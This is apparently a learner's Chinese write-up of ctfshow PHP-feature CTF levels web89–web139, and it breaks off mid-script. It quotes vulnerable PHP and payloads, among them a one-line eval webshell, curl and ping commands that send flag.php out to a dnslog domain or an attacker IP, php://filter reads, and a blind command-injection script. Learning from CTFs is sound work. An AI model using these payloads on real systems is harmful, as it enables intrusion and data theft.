前言
小菜鸡开始php特性的学习了,不断加油
web89
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
?>
看见这题我的思路就是用数组绕过,可能是因为之前md5()的时候强比较看习惯了,这里构造payload如下即可
num[]=1
至于为什么能这样绕过,这个的话就涉及到了这个intval函数的一个返回值,图解如下
可以看出非空的数组返回是1,因此这里就可以包含flag
web 90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这关的话就是要求变量值不能为4476,但用过intval函数后为4476,这里的话我们首先需要知道intval的第二个参数为0时的意思是什么
int intval( var,base)
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)。
此时的话我们再看一下在这个函数的运算
看到这里的话就可以看出payload就有多种构造方法了
num=4476e123
//这里就跟上面那个单引号的1e10情况一样,此时只看字母前面的
num=4476.1
//计算int值时,后面有小数点会直接舍去
num=0x117c
//0x表明是十六进制数,117c是4476的十六进制数
num=010574
//0表明是八进制数,10574是4476的八进制数
测试如下
执行结果如下
web 91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
?>
这里的话我们发现用了正则,对部分字母解释如下
^php表示以php开头,php$表示以php结尾
/i:如果设定此修正符,模式中的字符将同时匹配大小写字母。
/m: 将字符串视为多行。默认的正则开始“^”和结束“$”将目标字条串作为一单一的一“行”字符(甚至其中包括换行符
也是如此)。如果在修饰符中加上“m”,那么开始和结束将会指点字符串的每一行的开头就是“^”结束就是“$”。
这里对m可能有些不理解,其实它的意思就是它这里直接匹配了多行,没有m的时候我们加个换行符,它就认为结束了,为了更好的理解,我们进行本地测试
<?php
$a=$_GET['a'];
$b=preg_match('/^php$/im', $a);
$c=preg_match('/^php$/i', $a);
echo "$b\n";
echo "$c ";
?>
我们给它赋值php
再给它赋值php%0a1
此时的话就可以看出来这道题该怎么解了,构造payload如下
num=php%0a1
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这里的话就是从强比较换成了弱比较,用之前的解题payload即可
num=4476.1
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这里的话ban了字母,我们可以用八进制和小数点来绕过
num=4476.9
num=010574
//0表明是八进制,10574是4476的八进制数
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这里的话可以发现多了个找0的位置的,所以你第一个数字不能是0,因为是0的话就输出nonono了,所以八进制被ban,这里只能用小数点来绕过了
num=4476.0
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
?>
这道题的话看着几乎是防死了,多过滤了.
,这就意味着小数点绕过行不通,此时我们看到这个i修饰符,想到那个m修饰符,此时就想起来有个换行符%0a,它对实际输出没影响,它还可以绕过上面的那些函数,因此我们这里构造如下语句,就实现了绕过,由于小数点不能用,这里就用八进制
num=%0a010574
web 96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
这里的话我们可以看见这个错误的时候是用高亮回显这个u,所以就限制了这个u,这个u只有是路径的时候才行,此时还是太菜了,在参考过其他师傅的wp后才想到可以借用目录穿越,还可以用php:filter伪协议来读文件()
u=./flag.php
./指的是当前目录下的
u=php://filter/convert.base64-encode/resource=flag.php
web97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
这里的话可以看出来是php强比较,此时是要比较类型的,因此构造数组来进行绕过即可,构造两个非空数组(值不同),在判断的时候是不同的,而md5进行判断时,非空数组都返回null,此时就实现了绕过
因此这里构造如下payload
a[]=1&b[]=2
web98
<?
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
这里的话我们发现用到了三元运算符,php里的三元运算符和c语言差不多
2>1?1:0
如果2大于1.执行结果为1.否则执行0
因此这里的话就可以看出来是get传参时,就会将post传的参数当成get传参,中间的两个是让get的flag参数为flag,不过这个没啥用,所以不看就行,重要的是最后一个它在get传参为HTTP_FLAG
且值为flag
的时候可以绕过,因此我们随便构造一个get参数,再传它要求的post参数即可,构造payload如下
1=1
HTTP_FLAG=flag
web99
<?
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
这关的看起来很难啊,我看的时候也是一脸蒙,不过学习过函数后就发现其实挺简单的,下面先介绍一下函数
array_push($array, $value1 ):将一个或多个单元压入数组的末尾(入栈)
array_push() 将 array 当成一个栈,并将传入的变量压入 array 的末尾。array 的长度将根据入栈变量的数目增加。和如下效果相同:
array
输入的数组。
value1
要压入 array 末尾的第一个值。
in_array( $needle, $haystack):检查数组中是否存在某个值
参数
needle
待搜索的值。
haystack
待搜索的数组。
file_put_contents($filename,$data): 将一个字符串写入文件
filename
要被写入数据的文件名。
data
要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。
array_push看起来有些晦涩难懂,我们可以看他的示例
<?php
$stack = array("orange", "banana");
array_push($stack, "apple", "raspberry");
print_r($stack);
?>
以上例程会输出:
Array
(
[0] => orange
[1] => banana
[2] => apple
[3] => raspberry
)
此时就可以理解这个语句了
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
他其实就是把变量i给存进去,而变量i是全部数字字母,因此这个变量allow里就存着全部字母和数字,然后再看后面那个if语句,它其实就是看n是否被定义且在这个数组内,在的话就将定义的n作为文件名,post传的content里的内容作为文件内容存入,因此我们这里的话就可以构造一句话木马或者那些查找语句,构造payload如下
n=1.php
content=<?php @eval($_POST[1]);?>
蚁剑连接1.php即可getshell
web100
<?
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
此时这关我们可以看出来v1只能传数字,因为=的优先级大于and,所以v0其实就是v1,这里我们给v1传个数值才能正确往下执行,然后看v2,他过滤了分号,而v3是找到;才执行
此时我们看语句,他说flag在ctfshow类里,而ctfshow类创建了一个实例,因此我们这里将它输出就可以输出flag,由于eval的时候这个('ctfshow')
是没什么用,而且会给出执行不出来的回显,因此我们这里将其进行注释,注释方法有两种
方法一
这个eval加双引号执行的时候,里面需要用;来进行闭合,这里我们可以用?>
v1=1&v2=var_dump(ctfshow)?>%23&v3=;
0X2d是符号-的十六进制,转换过来即可获取真正flag
方法二
用/**/注释符来注释后面的ctfshow,这里我们注入payload如下
v1=1&v2=dump(ctfshow)/*&v3=*/;
web101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
此时v2和v3都对内容进行了过滤,此时我们的$ctfshow是无法使用了,这个时候就需要介绍一个ReflectionClass 类了,ReflectionClass 类报告了一个类的有关信息。因此我们这里将这个进行输出,也就可以获得flag,构造payload如下
/?v1=1&v2=echo new ReflectionClass&v3=;
可以发现最后那里是空格,按照十六进制,从1-8,再从a开始往后7位一个一个试,即可获取flag
web102
<?
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
这个函数的话我们可以看出来是,post传v1,get传v2,v3,然后这个v4就有意思了,它这里是个骗局,因为赋值运算符优先级大于比较运算符,所以v4的值只取决于v2,因此我们保证v2是数字就可以,然后它从第三位开始截取了v2,并将传的v1作为函数执行给v2,此时v3再用伪协议filite来读取源码就可以了,构造payload如下
POST:
v1=hex2bin
GET:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
web103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
这里看似过滤了php,但细看的话就会发现过滤的是v1里的,但v1本来也就没放php,所以这关同上即可
web104
对于sha(),它是md5算法的一种,因此我们这里就需要想到php基于哈希算法出现的比较漏洞,详情可以看这篇文章,然后sha()执行过后为0e这种的有以下几个
aaK1STfY
aaO8zKZF
当然这个我觉得这个需要找,比较麻烦,因为我比较懒,所以直接使用数组绕过,即构造如下payload
GET:
v2[]=2
POST:
v1[]=1
web105
<?
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
这道题我们可以进行反推,我们要想得到flag,就需要 die(\$error)里面为flag,此时的话也就是需要error为flag,我们直接get传error=flag
的话,此时\$key就是error,$value=flag
,此时的$$value
也就是$flag,也就实现了\$error=$flag,此时输出就是flag,可是get不允许\$key为error,我们此时发现还有suces,我们可以用\$suces来作一个中间量,我们让\$suces=$flag,然后post的是与get一样的,此时我们让\$error=$suces,此时也就实现了\$error=$flag,构造payload如下
GET:
suces=flag
POST:
error=suces
web106
<?
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
用数组绕过即可,当然也可构造那种0e的
GET:
v2[]=2
POST:
v1[]=1
web107
<?
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
本关的话这个parse_str
函数的意思就是把v1里的参数传给了v2,然后我们就可以理解了,这里其实就是当v1中的flag的参数与v3的值进行md5加密后相等即可得到flag,此时构造payload如下
GET:
v3=1
POST:
v1=flag=c4ca4238a0b923820dcc509a6f75849b
//c4ca4238a0b923820dcc509a6f75849b是1的md5加密
web108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
这里面if (ereg ("^[a-zA-Z]+$", $_GET['c'])
这句话的大致含义就是需要以字母开头,然后匹配一次或多次,如果匹配不到就执行false,这时候还有一个===FALSE
,所以要想这个执行结果为false,就需要前面为true,所以需要构造字母开头的,因为这个ereg匹配存在%00截断,所以这里就先构造一个a%00来进行绕过,后面那个strrev
是倒置函数,36d为十进制数87,倒过来也是778,因此构造payload
?c=a%00778
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
首先这里用到了php的类,先列出以下几个式子
<?php
class ctfshow{
public $admin='quan9i';
public function getName(){
return $this->admin;
}
}
$cf = new ctfshow();
echo $cf->getName();
而当
<?php
class ctfshow{
public $admin='quan9i';
public function getName(){
return $this->admin;
}
}
$cf = new ctfshow();
echo $cf;
?>
输出为
此时我们如果想要输出,就需要用到魔术函数
<?php
class ctfshow
{
public $admin='quan9i';
public function getName(){
return $this->admin;
}
public function __toString(){
return $this->admin;
}
}
echo new ctfshow();
这个与我们题中的v1(v2())比较相似,这时候我们就可以将这个v1视为类名,v2视为里面的东西,此时先构造个PHPinfo试试
?v1=mysqli&v2=phpinfo
此时发现有回显,这时候我们找个类可以输出内容即可,构造payload如下
?v1=ReflectionClass&v2=system('ls')
?v1=ReflectionClass&v2=system('tac f*')
web 110
利用 FilesystemIterator
类可获取指定目录下的所有文件getcwd()函数
获取当前工作目录,构造payload如下:
?v1=FilesystemIterator&v2=getcwd
而后得到flag文件访问即可
web 111
<?
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
这里要求变量v1必须为ctfshow,因此v2的话用全局变量来获取flag,构造payload如下
?v1=ctfshow&v2=GLOBALS
web112
检验传参是否是文件,并且过滤了一些字符,明显的伪协议利用
?file=php://filter/resource=flag.php
web113
过滤了filter,非预期payload
?file=compress.zlib://flag.php
/proc/self/root指向的就是根目录/,预期payload(目录溢出)
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
web114
未过滤filiter,用filiter伪协议
?file=php://filter/resource=flag.php
web115
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
要求num不直接为数字36,且trim函数检测num不等于36,此时如果num为36,就输出flag,trim过滤了空格,制表符,换行等,但未过滤%0c(换页符),因此我们构造payload如下
?num=%0c36
web123
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
这里可以看见要求传入三个参数且不能get传f10g,但要求f10g为flag_give_me才输出flag,这里就需要用到中间变量了,然后介绍一个小知识
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [
转换为_
因此CTF_SHOW.COM会被转换,但是它只转换一次,因此我们可以更改为CTF[SHOW.COM,此时我们传fun=echo 1试试,发现可以
再输出变量a也可以
此时就出现了非预期解
fun=echo $flag&CTF_SHOW=1&CTF[SHOW.COM=2
预期解
CTF_SHOW=2&CTF[SHOW.COM=1&fun=echo implode(get_defined_vars())
implode()把数组元素组合为字符串.
get_defined_vars() 函数返回由所有已定义变量所组成的数组。
web125
这里过滤了echo、var_dump已经print,但是只我们还有一个输出函数,那就是var_export
这里的话我们再用个输出数组的函数,从而输出flag
构造payload如下
CTF_SHOW=1
&CTF[SHOW.COM=2
&fun=var_export( get_defined_vars())
web 126
<?
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
这里过滤了几个字母,此时就无法使用上关的方法直接绕过了,这时候我们就会发现这个$_SERVE[‘argv’]其实之前都没有怎么用过,我们去了解之后会发现argv是一个执行脚本的参数,也就是说在加载的时候就把这里面的给执行了,本地测试如下
<?php
show_source(__FILE__);
$a=$_SERVER['argv'];
var_dump($a);
var_dump($a[0]);
?>
此时可以看见已经存入进去了
方法一
我们此时可以传入变量f10g,赋值就是那个flag_give_me,此时再用eval包含这个变量a的第一个参数,也就是f10g,构造payload如下
GET:
$flag=flag_give_me;
POST:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0])
方法二
然后的话我们这里就是可以利用它来传f10g,我们在这里面存入空值和fl0g=flag_give_me,此时就可以绕过检测,这是因为我们此时的get传的payload如下
?a=1+fl0g=flag_give_me
它这个的+是作为分隔符(详情见parse_str函数),1是第一个传入的第一个键名,由于未赋值,所以它里面是空,然后第二个键名就是f10g,传入的值就是后面那个字符串
此时我们再用post来调用这个就可以了,想调用这个f10g的时候,需要用到parse_str函数,这个函数就是把字符串解析成多个变量,此时调用$a[1],也就是第一个+后面那个,也就实现了传入我们的f10g
CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])
web127
这里要求传入的参数为ctf_show=ilove36d,可是过滤了下划线和一些其他的,我们知道[ . 空格 +
可以转换为下划线,这里只有空格没被过滤,因此我们这里可以构造空格来进行绕过
ctf show=ilove36d
非预期解$_SERVER['QUERY_STRING']
是获取的服务器解码之前的,因此我们对url进行一次编码,此时就绕过了waf,构造payload如下
?ctf%5fshow=ilove36d
web128
这里几乎ban了全部,然后呢有个函数是gettext,它是输出的一种函数,类似于echo,它有一个别名,就是下划线,因此此时我们就可以给f1赋值给下划线,此时的话我们就可以给f2赋值
这个需要开启扩展extension=php_gettext.dll
然后开始本地测试
<?php
$a=$_GET['a'];
$b=$_GET['b'];
var_dump(call_user_func($a,$b));
var_dump(call_user_func(call_user_func($a,$b)));
show_source(__FILE__);
可以发现一次是输出,二次是执行,这里的话我们执行一个查看已定义的变量,不就可以输出flag了
在环境中测试
得到flag
web129
这里的话它设置了 stripos用来检测ctfshow,而它又设置了大于0时才往下执行,还需要包括flag因此我们这里的绕过方式就是目录穿越,构造如下payload
?f=/ctfshow/../../../var/www/html/flag.php
?f=./ctfshow/../flag.php
此时查看源代码即可获取flag
web130
方法一
回溯,利用的是p神说的回溯次数限绕过,文章如下
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
其实它的形成原因就是正则不对一百万个之后的字符做限制,这里的话就可以利用脚本来得到flag
import requests
url='http://dbe64317-2990-4111-a667-2a972ce48571.challenge.ctf.show/'
data={
'f':'a'*1000000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)
方法二
数组绕过
f[]=1
方法三
f=ctfshow12
这里当它是.*?的时候,就是一种非贪婪匹配状态,然后它含义就是前面的执行1次或n次,然后当我们输入ctfshow的时候,由于前面这个.*?里面的?要求至少匹配一次,我们这里前面啥也没有,所以就绕过了,而如果这里是(.*)?的话,他这个?就视为一种贪婪匹配,然后它的要求就是前面除换行匹配0到n次,此时我们输入ctfshow,此时匹配0次,也算是这里面的,所以这个时候就绕不过去
web131
这里要求f必须是36dctfshow,我们用回溯次数限制绕过那个方法来进行
import requests
url='http://9eec4e33-c564-4ded-a2af-232d78687ed2.challenge.ctf.show/'
data={
'f':'a'*1000000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)
然后预期wp的话是这个
echo str_repeat('very', '250000').'36Dctfshow';
其实这俩都一样,都是输出了100w个字符突破了限制,然后传进去的
web132
开始的时候得到一个靶场,但是这个靶场看找了一圈后发现没有啥东西,访问robots.txt,而后访问admi后得源码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
这里的话可以发现这个要求传入的都是字符串,然后有个要求,但是这里有&&和||,我们知道&&优先级大于||,所以这里就可以视为||是一个,后面是一个,我们只需要满足一个就可以输出true,因此我们这里指定username=admin即可往下执行,构造payload如下即可绕过
?username=admin&password=1&code=admin
web133
这关的话就是截取变量f的前六位再进行执行,此时的话我们的思路就是类似于覆盖变量那种
构造这种语句
?F=`$F `;sleep 5
反引号和分号中间有空格
此时我们会发现这里真的sleep了5,而按理来说,执行截取的前六位,为什么后面也会执行呢,分析如下
截取后为`$F` ;
此时就是eval("`$F` ");
而$F=`$F`;sleep5
那此时就相当于eval("``$F`;sleep 5`");
我们此时也就实现了rce
这里的话我们可以构造如下payload
?F=`$F`; curl`cat flag.php|grep "flag"`.域名
//域名是有dnslog.cn网址随机生成的
?F=`$F`; curl -X POST -F xx=@flag.php http://xxx
//利用外带将flag.php拿出来,后面那个ip可以用bp实现
?F=`$F` ;curl http://124.***.***.***/`tail -n 1 flag.php|base64`;
//显示经过base64编码后的最后一行内容到服务器
解码后即可得到flag
web134
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
这里的parse_str是将字符串解析成多个变量,extract是从数组中将变量导入到当前的符号表,也就是说将get传入的值变成变量,再将变量中$_POST部分导入到符号表,然后当key1和key2都为36d时输出flag,此时我们就可以利用变量覆盖来进行绕过
?_POST[key1]=36d&_POST[key2]=36d
查看源代码获取flag
web135
这关相比133多过滤了一些命令,这些curl base64都被过滤了,我们无法再进行curl,学习过其他师傅的wp后才想起来我们还可以直接把flag.php文件写入到一个新文件中,还是思想过于局限了,构造payload如下
F=`$F` ;cp flag.php 3.txt
F=`$F` ;nl flag.php>1.txt
当然,预期解的话不是这样,依然是利用的外带的方法来进行构造的payload
?F=`$F`; ping `nl flag.php | awk 'NR==15' | tr -cd "[a-z]"/"[0-9]"`.gbjp09.dnslog.cn -c 1
里面涉及一些函数的解释
awk 'NR==15' 已经读出的记录数,就是行号,默认从1开始,这里就是读15行的
tr -cd [a-z]"/"[0-9]" 删除a-z和0-9之外,也就是说只匹配字母和数字
-c, --complement:反选设定字符。用于字符补集替换,用SET2替换SET1中不包含的字符
-d, --delete:删除指令字符,删除SET1指定的所有字符
这里最后的-c 1 是ping命令附带的一个参数,用来指定ping的次数是1
c 数目:在发送指定数目的包后停止
而后修改为16行就可以看到整体的flag,按照8 4 4 4 12的方式拼接即可
web136
这里过滤了重定向符<>,但是还有tee命令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
此时就可以构造payload如下来进行获取目录下的文件
c=ls /|tee 1
ls是查看当前目录, ls \就是查看根目录下的文件
|是管道符,这里的话就是指的是将前面的输出作为后面的输入
tee 1 指的是将前面的输出写入到1这个文件中,之所以不加后缀是因为.被过滤了
得到flag文件fl49_15_h3r3
,那就读这个文件,构造payload如下即可
c=nl /f149_15_h3r3|tee 3
web137
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
这里的话call_user_func是回调函数,将第一个参数作为函数执行,我们可以看见ctfshow类里的静态方法getflag里面是输出flag的,因此只需要调用它就可以,然后类这里调用的话,动态是->,静态是::,具体的如下
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
官方例子
<?php
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
//输出 Hello!
call_user_func($classname .'::say_hello'); // As of 5.2.3
//输出 Hello!
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));
//输出 Hello!
?>
`因此构造payload如下
ctfshow=ctfshow::getFlag
web138
这里多了一行代码
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
strripos($_POST['ctfshow'], ":")
是指:在变量中出现的位置,这里只要出现了:,它的返回值就绝对大于-1,此时就被限制了,因此这里其实就是ban了::
,此时再看
这个官方例子的最后一个
<?php
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
//输出 Hello!
call_user_func($classname .'::say_hello'); // As of 5.2.3
//输出 Hello!
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));
//输出 Hello!
?>
可以发现它是call_user_func(array($myobject, 'say_hello'));
,可以分成两部分来进行利用,因此我们这里可以分开传,构造payload如下
ctfshow[]=ctfshow&ctfshow[]=getFlag
web139
与136类似,过滤了<>,无法写文件,但136的方法无法再次使用,可能是权限不够了,这里的话学习群主的视频wp后得知利用的是命令盲注
获取目录文件脚本如下
import requests
url="http://48eceb34-f01c-4610-bf8a-89d4b3b71a47.challenge.ctf.show/?c="
payload="if [ `ls / -1| cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 3;fi"
result=""
strings="abcdefghijklmnopqrstuvwxyz_-0123456789"
for r in range(1,6):#行
for c in range(1,20):#长度
for s in strings:
target=url +payload.format(c,r,s)
print(target)
try:
requests.get(target,timeout=2.5)
except:
result +=s
print(result)
break
result += " "
对于payload的解读
if [ `ls / -1| cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 3;fi
if [ ]; then ;fi
这个是固定句式,fi在这里表示语句到此结束
然后我们分析这个循环体
`ls / -1| cut -c {} | awk \"NR=={}\"`首先反引号指的是执行linux语句
ls / -1 表示的是查看根目录下的文件,-1 表示单列输出。
|是管道符,表示将前一语句的输出作为下一句的输入
然后cut -c {}指的就是切割第{}个字符,假如这里是1,那就是切割第一个字符,
也就是bin里的b
然后这个b是它的输出,作为下一个的输入,然后awk "NR={}"是指定为第{}行,这里的话
我们假设为1,也就是第一行,b是第一行的,所以这里就是得到了b,然后与后面的{}进行
比较,看是否相同,这个{}是我们设置的a-z以及其他,在这里的话当是b的时候就会执行
sleep 3
如果不理解这个ls的话可以看下面这个
可以发现它将每个文件视为一行,因此我们指定NR=1,它前面cut -c {},也就会分别输出b,i,n。
然后这是获取目录的,输出文件的脚本如下
import requests
url="http://48eceb34-f01c-4610-bf8a-89d4b3b71a47.challenge.ctf.show/?c="
payload="if [ `cat /f149_15_h3r3| cut -c {}` == \"{}\" ];then sleep 3;fi"
result=""
strings="ctfshow{abcdefghijklmnopqrstuvwxyz_-0123456789}"
for c in range(1,50):#长度
for s in strings:
target=url +payload.format(c,s)
print(target)
